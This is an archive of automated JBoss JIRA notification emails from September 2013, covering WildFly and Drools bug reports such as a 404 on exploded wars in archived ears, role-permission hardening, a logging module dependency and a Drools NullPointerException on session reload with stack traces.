For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 18:30:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 18:30:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2028) An exploded war inside an
 archived ear returns 404
In-Reply-To: <JIRA.12500314.1378741350000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500314.1378741350000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500314.1378741350000.4889.1380321002584@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2028?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808033#comment-12808033 ] 

RH Bugzilla Integration commented on WFLY-2028:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 991244|https://bugzilla.redhat.com/show_bug.cgi?id=991244] from POST to MODIFIED
                
> An exploded war inside an archived ear returns 404
> --------------------------------------------------
>
>                 Key: WFLY-2028
>                 URL: https://issues.jboss.org/browse/WFLY-2028
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: EE
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>
> When an archived ear which includes an exploded war is deployed in EAP 6, the application seems to be deployed successfully but it returns status code 404. 
> 1. Start EAP 6 standalone mode
> 2. Put the attached test.ear to $JBOSS_HOME/standalone/deployments
> 3. Access the web application
>     curl -v http://localhost:8080/test/index.jsp 
> JBoss returns status code 404.
> JBoss returns actual response of web application's content.
> Additional info:
> Same application works in EAP 5. When an application is an exploded ear which includes an exploded war, it works in EAP 6.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 18:32:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 18:32:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1765) JDBC object store does not
 change LOG_STORE_TYPE attribute
In-Reply-To: <JIRA.12497402.1374839437000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497402.1374839437000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497402.1374839437000.4891.1380321122509@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1765?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808034#comment-12808034 ] 

RH Bugzilla Integration commented on WFLY-1765:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1002976|https://bugzilla.redhat.com/show_bug.cgi?id=1002976] from POST to MODIFIED
                
> JDBC object store does not change LOG_STORE_TYPE attribute
> ----------------------------------------------------------
>
>                 Key: WFLY-1765
>                 URL: https://issues.jboss.org/browse/WFLY-1765
>             Project: WildFly
>          Issue Type: Bug
>          Components: Transactions
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Ivo Studensky
>            Assignee: Ivo Studensky
>
> The transaction subsystem when set up to JDBC object store should keep a note about it in log-store-type attribute as HornetQ object store does. It seems not to be consistent when one object store does this, but others do not.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 18:34:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 18:34:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2087) Administrator should be
 prevented from modifying super user and auditor roles.
In-Reply-To: <JIRA.12500788.1379348381000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500788.1379348381000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500788.1379348381000.4898.1380321242927@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2087?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808035#comment-12808035 ] 

RH Bugzilla Integration commented on WFLY-2087:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1012579|https://bugzilla.redhat.com/show_bug.cgi?id=1012579] from POST to MODIFIED
                
> Administrator should be prevented from modifying super user and auditor roles.
> ------------------------------------------------------------------------------
>
>                 Key: WFLY-2087
>                 URL: https://issues.jboss.org/browse/WFLY-2087
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>
> These roles have maximum privileges in their area, i.e. super user can do everything and auditor can stop changes to the server being logged.
> The administrator role should be prevented from modifying these two roles.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 18:34:02 2013
From: jira-events at lists.jboss.org (James Perkins (JIRA))
Date: Fri, 27 Sep 2013 18:34:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2177) org.jboss.logmanager module
 needs dependency on javax.api for the SocketFactory
In-Reply-To: <JIRA.12501765.1380321136881@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501765.1380321136881@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501765.1380321136881.4894.1380321242737@jira02.app.mwc.hst.phx2.redhat.com>

James Perkins created WFLY-2177:
-----------------------------------

             Summary: org.jboss.logmanager module needs dependency on javax.api for the SocketFactory
                 Key: WFLY-2177
                 URL: https://issues.jboss.org/browse/WFLY-2177
             Project: WildFly
          Issue Type: Bug
          Components: Logging
            Reporter: James Perkins
            Assignee: James Perkins
             Fix For: 8.0.0.CR1


The {{javax.net.SocketFactory}} is part of the {{javax.api}} module. Since the {{org.jboss.logmanager}} uses this for the syslog handler on TCP and SSL connections, a dependency on the module is needed.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 19:42:02 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Fri, 27 Sep 2013 19:42:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2173) Get subsystem test framework
 working with AS 7.2.0 legacy controller
In-Reply-To: <JIRA.12501755.1380296954000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501755.1380296954000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501755.1380296954000.4901.1380325322570@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2173?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Kabir Khan resolved WFLY-2173.
------------------------------

    Resolution: Done

    
> Get subsystem test framework working with AS 7.2.0 legacy controller
> --------------------------------------------------------------------
>
>                 Key: WFLY-2173
>                 URL: https://issues.jboss.org/browse/WFLY-2173
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Kabir Khan
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 19:47:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 19:47:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2177) org.jboss.logmanager module
 needs dependency on javax.api for the SocketFactory
In-Reply-To: <JIRA.12501765.1380321136000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501765.1380321136000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501765.1380321136000.4904.1380325622555@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2177?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808036#comment-12808036 ] 

RH Bugzilla Integration commented on WFLY-2177:
-----------------------------------------------

James Perkins <jperkins at redhat.com> made a comment on [bug 1013169|https://bugzilla.redhat.com/show_bug.cgi?id=1013169]

The javax.net.SocketFactory is part of the javax.api module. Since the org.jboss.logmanager uses this for the syslog handler on TCP and SSL connections, a dependency on the module is needed.
                
> org.jboss.logmanager module needs dependency on javax.api for the SocketFactory
> -------------------------------------------------------------------------------
>
>                 Key: WFLY-2177
>                 URL: https://issues.jboss.org/browse/WFLY-2177
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>             Fix For: 8.0.0.CR1
>
>
> The {{javax.net.SocketFactory}} is part of the {{javax.api}} module. Since the {{org.jboss.logmanager}} uses this for the syslog handler on TCP and SSL connections, a dependency on the module is needed.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 19:47:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 19:47:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2177) org.jboss.logmanager module
 needs dependency on javax.api for the SocketFactory
In-Reply-To: <JIRA.12501765.1380321136000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501765.1380321136000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501765.1380321136000.4906.1380325622672@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2177?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-2177:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1013169

    
> org.jboss.logmanager module needs dependency on javax.api for the SocketFactory
> -------------------------------------------------------------------------------
>
>                 Key: WFLY-2177
>                 URL: https://issues.jboss.org/browse/WFLY-2177
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>             Fix For: 8.0.0.CR1
>
>
> The {{javax.net.SocketFactory}} is part of the {{javax.api}} module. Since the {{org.jboss.logmanager}} uses this for the syslog handler on TCP and SSL connections, a dependency on the module is needed.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 19:50:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 19:50:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2177) org.jboss.logmanager module
 needs dependency on javax.api for the SocketFactory
In-Reply-To: <JIRA.12501765.1380321136000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501765.1380321136000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501765.1380321136000.4910.1380325802564@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2177?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808038#comment-12808038 ] 

RH Bugzilla Integration commented on WFLY-2177:
-----------------------------------------------

James Perkins <jperkins at redhat.com> changed the Status of [bug 1013169|https://bugzilla.redhat.com/show_bug.cgi?id=1013169] from NEW to POST
                
> org.jboss.logmanager module needs dependency on javax.api for the SocketFactory
> -------------------------------------------------------------------------------
>
>                 Key: WFLY-2177
>                 URL: https://issues.jboss.org/browse/WFLY-2177
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>             Fix For: 8.0.0.CR1
>
>
> The {{javax.net.SocketFactory}} is part of the {{javax.api}} module. Since the {{org.jboss.logmanager}} uses this for the syslog handler on TCP and SSL connections, a dependency on the module is needed.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 27 19:52:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 27 Sep 2013 19:52:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2177) org.jboss.logmanager module
 needs dependency on javax.api for the SocketFactory
In-Reply-To: <JIRA.12501765.1380321136000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501765.1380321136000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501765.1380321136000.4913.1380325922492@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2177?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808039#comment-12808039 ] 

RH Bugzilla Integration commented on WFLY-2177:
-----------------------------------------------

James Perkins <jperkins at redhat.com> made a comment on [bug 1013169|https://bugzilla.redhat.com/show_bug.cgi?id=1013169]

I should add this is only an issue if using the syslog handler with TCP for the protocol on a custom-handler.
                
> org.jboss.logmanager module needs dependency on javax.api for the SocketFactory
> -------------------------------------------------------------------------------
>
>                 Key: WFLY-2177
>                 URL: https://issues.jboss.org/browse/WFLY-2177
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>             Fix For: 8.0.0.CR1
>
>
> The {{javax.net.SocketFactory}} is part of the {{javax.api}} module. Since the {{org.jboss.logmanager}} uses this for the syslog handler on TCP and SSL connections, a dependency on the module is needed.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep 28 04:54:02 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Sat, 28 Sep 2013 04:54:02 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-275) RuleEngine
 AfterEvaluator.evaluateCachedRight throws NPE on persisted Session reload
 (Phreak, Stream, PseudoClock)
In-Reply-To: <JIRA.12501735.1380283896000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501735.1380283896000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501735.1380283896000.4964.1380358442845@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-275?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12808047#comment-12808047 ] 

RH Bugzilla Integration commented on DROOLS-275:
------------------------------------------------

Richard Bourner <rbourner at redhat.com> made a comment on [bug 1013197|https://bugzilla.redhat.com/show_bug.cgi?id=1013197]

Description of problem:
Information on community issue : https://issues.jboss.org/browse/DROOLS-275

Version-Release number of selected component (if applicable):


How reproducible:


Steps to Reproduce:
1.
2.
3.

Actual results:


Expected results:


Additional info:
                
> RuleEngine AfterEvaluator.evaluateCachedRight throws NPE on persisted Session reload (Phreak, Stream, PseudoClock)
> ------------------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-275
>                 URL: https://issues.jboss.org/browse/DROOLS-275
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions:  6.0.0.CR3
>         Environment: Mac OS-X 10.8.5, Hotspot 1.7.0_40
>            Reporter: Duncan Doyle
>            Assignee: Mark Proctor
>
> I persist a KieSession via the Marshaller (serializable) with one fact/event inserted. On reload of the session, I can see that fact is still there (when I check the FactHandles) and the PseudoClock is at the correct time (the time when I persisted it). If I then insert another fact/event into this reloaded session which matches the following rule:
> rule "SimpleFactTimeWindow"
> when
> 	$s1: SimpleFact() from entry-point LinkyStream
> 	$s2: SimpleFact(this != $s1, this after [0s, 10s] $s1) from entry-point LinkyStream
> then
> 	System.out.println("Rule fired, found 2 Facts within the time window.");
> end
> I get a NPE (in both Phreak and ReteOO mode). Exception in Phreak:
> java.lang.reflect.InvocationTargetException
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> 	at java.lang.reflect.Method.invoke(Method.java:606)
> 	at org.codehaus.mojo.exec.ExecJavaMojo$1.run(ExecJavaMojo.java:297)
> 	at java.lang.Thread.run(Thread.java:724)
> Caused by: java.lang.NullPointerException
> 	at org.drools.core.base.evaluators.AfterEvaluatorDefinition$AfterEvaluator.evaluateCachedRight(AfterEvaluatorDefinition.java:304)
> 	at org.drools.core.rule.constraint.EvaluatorConstraint.isAllowedCachedRight(EvaluatorConstraint.java:80)
> 	at org.drools.core.common.DoubleBetaConstraints.isAllowedCachedRight(DoubleBetaConstraints.java:117)
> 	at org.drools.core.phreak.PhreakJoinNode.doRightInserts(PhreakJoinNode.java:150)
> 	at org.drools.core.phreak.PhreakJoinNode.doNode(PhreakJoinNode.java:56)
> 	at org.drools.core.phreak.RuleNetworkEvaluator.switchOnDoBetaNode(RuleNetworkEvaluator.java:547)
> 	at org.drools.core.phreak.RuleNetworkEvaluator.evalBetaNode(RuleNetworkEvaluator.java:533)
> 	at org.drools.core.phreak.RuleNetworkEvaluator.innerEval(RuleNetworkEvaluator.java:335)
> 	at org.drools.core.phreak.RuleNetworkEvaluator.outerEval(RuleNetworkEvaluator.java:162)
> 	at org.drools.core.phreak.RuleNetworkEvaluator.evaluateNetwork(RuleNetworkEvaluator.java:117)
> 	at org.drools.core.phreak.RuleExecutor.reEvaluateNetwork(RuleExecutor.java:194)
> 	at org.drools.core.phreak.RuleExecutor.evaluateNetworkAndFire(RuleExecutor.java:65)
> 	at org.drools.core.common.DefaultAgenda.fireNextItem(DefaultAgenda.java:936)
> 	at org.drools.core.common.DefaultAgenda.fireAllRules(DefaultAgenda.java:1183)
> 	at org.drools.core.common.AbstractWorkingMemory.fireAllRules(AbstractWorkingMemory.java:936)
> 	at org.drools.core.common.AbstractWorkingMemory.fireAllRules(AbstractWorkingMemory.java:910)
> 	at org.drools.core.impl.StatefulKnowledgeSessionImpl.fireAllRules(StatefulKnowledgeSessionImpl.java:233)
> 	at org.jboss.ddoyle.brms.cep.ha.management.TestScenarioRunner.secondRun(TestScenarioRunner.java:142)
> 	at org.jboss.ddoyle.brms.cep.ha.management.MainSecondRun.main(MainSecondRun.java:7)
> 	... 6 more
> Exception in ReteOO:
> java.lang.reflect.InvocationTargetException
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> 	at java.lang.reflect.Method.invoke(Method.java:606)
> 	at org.codehaus.mojo.exec.ExecJavaMojo$1.run(ExecJavaMojo.java:297)
> 	at java.lang.Thread.run(Thread.java:724)
> Caused by: org.drools.core.RuntimeDroolsException: Unexpected exception executing action org.drools.core.reteoo.PropagationQueuingNode$PropagateAction at 2e3aeda
> 	at org.drools.core.common.AbstractWorkingMemory.executeQueuedActions(AbstractWorkingMemory.java:1225)
> 	at org.drools.core.common.NamedEntryPoint.insert(NamedEntryPoint.java:371)
> 	at org.drools.core.common.NamedEntryPoint.insert(NamedEntryPoint.java:278)
> 	at org.drools.core.common.NamedEntryPoint.insert(NamedEntryPoint.java:131)
> 	at org.drools.core.common.NamedEntryPoint.insert(NamedEntryPoint.java:56)
> 	at org.jboss.ddoyle.brms.cep.ha.management.TestScenarioRunner.secondRun(TestScenarioRunner.java:140)
> 	at org.jboss.ddoyle.brms.cep.ha.management.MainSecondRun.main(MainSecondRun.java:7)
> 	... 6 more
> Caused by: java.lang.NullPointerException
> 	at org.drools.core.base.evaluators.AfterEvaluatorDefinition$AfterEvaluator.evaluateCachedLeft(AfterEvaluatorDefinition.java:324)
> 	at org.drools.core.rule.constraint.EvaluatorConstraint.isAllowedCachedLeft(EvaluatorConstraint.java:67)
> 	at org.drools.core.common.DoubleBetaConstraints.isAllowedCachedLeft(DoubleBetaConstraints.java:108)
> 	at org.drools.reteoo.nodes.ReteJoinNode.propagateFromLeft(ReteJoinNode.java:147)
> 	at org.drools.reteoo.nodes.ReteJoinNode.assertLeftTuple(ReteJoinNode.java:99)
> 	at org.drools.core.reteoo.SingleLeftTupleSinkAdapter.doPropagateAssertLeftTuple(SingleLeftTupleSinkAdapter.java:213)
> 	at org.drools.core.reteoo.SingleLeftTupleSinkAdapter.propagateAssertLeftTuple(SingleLeftTupleSinkAdapter.java:73)
> 	at org.drools.reteoo.nodes.ReteJoinNode.propagateFromRight(ReteJoinNode.java:135)
> 	at org.drools.reteoo.nodes.ReteJoinNode.assertRightTuple(ReteJoinNode.java:125)
> 	at org.drools.reteoo.nodes.ReteBetaNodeUtils.assertObject(ReteBetaNodeUtils.java:47)
> 	at org.drools.reteoo.nodes.ReteJoinNode.assertObject(ReteJoinNode.java:39)
> 	at org.drools.core.reteoo.CompositeObjectSinkAdapter.doPropagateAssertObject(CompositeObjectSinkAdapter.java:502)
> 	at org.drools.core.reteoo.CompositeObjectSinkAdapter.propagateAssertObject(CompositeObjectSinkAdapter.java:387)
> 	at org.drools.core.reteoo.PropagationQueuingNode$AssertAction.execute(PropagationQueuingNode.java:430)
> 	at org.drools.core.reteoo.PropagationQueuingNode.propagateActions(PropagationQueuingNode.java:266)
> 	at org.drools.core.reteoo.PropagationQueuingNode$PropagateAction.execute(PropagationQueuingNode.java:592)
> 	at org.drools.core.common.AbstractWorkingMemory.executeQueuedActions(AbstractWorkingMemory.java:1223)
> 	... 12 more
> What I discovered is that this only happens when I save the KieSession to a file in one JVM and reload it in another. When I load the KieSession in the same JVM as the one in which I persisted it, there is no exception and the rule get's fired (as expected).
> I created a reproducer project for it: https://github.com/DuncanDoyle/DroolsSessionPersistenceNPE/
> I've added some Maven profiles so you can easily observe the behaviour:
> - mvn -PallRuns exec:java    : this runs both the persistence and the reload in the same JVM, no exception, everything works fine.
> - mvn -PfirstRun exec:java    : this runs the first part of the test, and saves the KieSession to a file.
> - mvn -PsecondRun exec:java   : this runs the second part of the test, which loads the previously saved KieSession from the file and inserts a new fact, resulting in the NPE.
> All three tests can also be run in ReteOO mode by adding "-Ddrools.ruleEngine=reteoo" at the end of the command.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep 28 04:54:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Sat, 28 Sep 2013 04:54:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-275) RuleEngine
 AfterEvaluator.evaluateCachedRight throws NPE on persisted Session reload
 (Phreak, Stream, PseudoClock)
In-Reply-To: <JIRA.12501735.1380283896000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501735.1380283896000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501735.1380283896000.4968.1380358443191@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-275?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated DROOLS-275:
-------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1013197

    
> RuleEngine AfterEvaluator.evaluateCachedRight throws NPE on persisted Session reload (Phreak, Stream, PseudoClock)
> ------------------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-275
>                 URL: https://issues.jboss.org/browse/DROOLS-275
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions:  6.0.0.CR3
>         Environment: Mac OS-X 10.8.5, Hotspot 1.7.0_40
>            Reporter: Duncan Doyle
>            Assignee: Mark Proctor
>
> I persist a KieSession via the Marshaller (serializable) with one fact/event inserted. On reload of the session, I can see that fact is still there (when I check the FactHandles) and the PseudoClock is at the correct time (the time when I persisted it). If I then insert another fact/event into this reloaded session which matches the following rule:
> rule "SimpleFactTimeWindow"
> when
> 	$s1: SimpleFact() from entry-point LinkyStream
> 	$s2: SimpleFact(this != $s1, this after [0s, 10s] $s1) from entry-point LinkyStream
> then
> 	System.out.println("Rule fired, found 2 Facts within the time window.");
> end
> I get a NPE (in both Phreak and ReteOO mode). Exception in Phreak:
> java.lang.reflect.InvocationTargetException
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> 	at java.lang.reflect.Method.invoke(Method.java:606)
> 	at org.codehaus.mojo.exec.ExecJavaMojo$1.run(ExecJavaMojo.java:297)
> 	at java.lang.Thread.run(Thread.java:724)
> Caused by: java.lang.NullPointerException
> 	at org.drools.core.base.evaluators.AfterEvaluatorDefinition$AfterEvaluator.evaluateCachedRight(AfterEvaluatorDefinition.java:304)
> 	at org.drools.core.rule.constraint.EvaluatorConstraint.isAllowedCachedRight(EvaluatorConstraint.java:80)
> 	at org.drools.core.common.DoubleBetaConstraints.isAllowedCachedRight(DoubleBetaConstraints.java:117)
> 	at org.drools.core.phreak.PhreakJoinNode.doRightInserts(PhreakJoinNode.java:150)
> 	at org.drools.core.phreak.PhreakJoinNode.doNode(PhreakJoinNode.java:56)
> 	at org.drools.core.phreak.RuleNetworkEvaluator.switchOnDoBetaNode(RuleNetworkEvaluator.java:547)
> 	at org.drools.core.phreak.RuleNetworkEvaluator.evalBetaNode(RuleNetworkEvaluator.java:533)
> 	at org.drools.core.phreak.RuleNetworkEvaluator.innerEval(RuleNetworkEvaluator.java:335)
> 	at org.drools.core.phreak.RuleNetworkEvaluator.outerEval(RuleNetworkEvaluator.java:162)
> 	at org.drools.core.phreak.RuleNetworkEvaluator.evaluateNetwork(RuleNetworkEvaluator.java:117)
> 	at org.drools.core.phreak.RuleExecutor.reEvaluateNetwork(RuleExecutor.java:194)
> 	at org.drools.core.phreak.RuleExecutor.evaluateNetworkAndFire(RuleExecutor.java:65)
> 	at org.drools.core.common.DefaultAgenda.fireNextItem(DefaultAgenda.java:936)
> 	at org.drools.core.common.DefaultAgenda.fireAllRules(DefaultAgenda.java:1183)
> 	at org.drools.core.common.AbstractWorkingMemory.fireAllRules(AbstractWorkingMemory.java:936)
> 	at org.drools.core.common.AbstractWorkingMemory.fireAllRules(AbstractWorkingMemory.java:910)
> 	at org.drools.core.impl.StatefulKnowledgeSessionImpl.fireAllRules(StatefulKnowledgeSessionImpl.java:233)
> 	at org.jboss.ddoyle.brms.cep.ha.management.TestScenarioRunner.secondRun(TestScenarioRunner.java:142)
> 	at org.jboss.ddoyle.brms.cep.ha.management.MainSecondRun.main(MainSecondRun.java:7)
> 	... 6 more
> Exception in ReteOO:
> java.lang.reflect.InvocationTargetException
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
> 	at java.lang.reflect.Method.invoke(Method.java:606)
> 	at org.codehaus.mojo.exec.ExecJavaMojo$1.run(ExecJavaMojo.java:297)
> 	at java.lang.Thread.run(Thread.java:724)
> Caused by: org.drools.core.RuntimeDroolsException: Unexpected exception executing action org.drools.core.reteoo.PropagationQueuingNode$PropagateAction at 2e3aeda
> 	at org.drools.core.common.AbstractWorkingMemory.executeQueuedActions(AbstractWorkingMemory.java:1225)
> 	at org.drools.core.common.NamedEntryPoint.insert(NamedEntryPoint.java:371)
> 	at org.drools.core.common.NamedEntryPoint.insert(NamedEntryPoint.java:278)
> 	at org.drools.core.common.NamedEntryPoint.insert(NamedEntryPoint.java:131)
> 	at org.drools.core.common.NamedEntryPoint.insert(NamedEntryPoint.java:56)
> 	at org.jboss.ddoyle.brms.cep.ha.management.TestScenarioRunner.secondRun(TestScenarioRunner.java:140)
> 	at org.jboss.ddoyle.brms.cep.ha.management.MainSecondRun.main(MainSecondRun.java:7)
> 	... 6 more
> Caused by: java.lang.NullPointerException
> 	at org.drools.core.base.evaluators.AfterEvaluatorDefinition$AfterEvaluator.evaluateCachedLeft(AfterEvaluatorDefinition.java:324)
> 	at org.drools.core.rule.constraint.EvaluatorConstraint.isAllowedCachedLeft(EvaluatorConstraint.java:67)
> 	at org.drools.core.common.DoubleBetaConstraints.isAllowedCachedLeft(DoubleBetaConstraints.java:108)
> 	at org.drools.reteoo.nodes.ReteJoinNode.propagateFromLeft(ReteJoinNode.java:147)
> 	at org.drools.reteoo.nodes.ReteJoinNode.assertLeftTuple(ReteJoinNode.java:99)
> 	at org.drools.core.reteoo.SingleLeftTupleSinkAdapter.doPropagateAssertLeftTuple(SingleLeftTupleSinkAdapter.java:213)
> 	at org.drools.core.reteoo.SingleLeftTupleSinkAdapter.propagateAssertLeftTuple(SingleLeftTupleSinkAdapter.java:73)
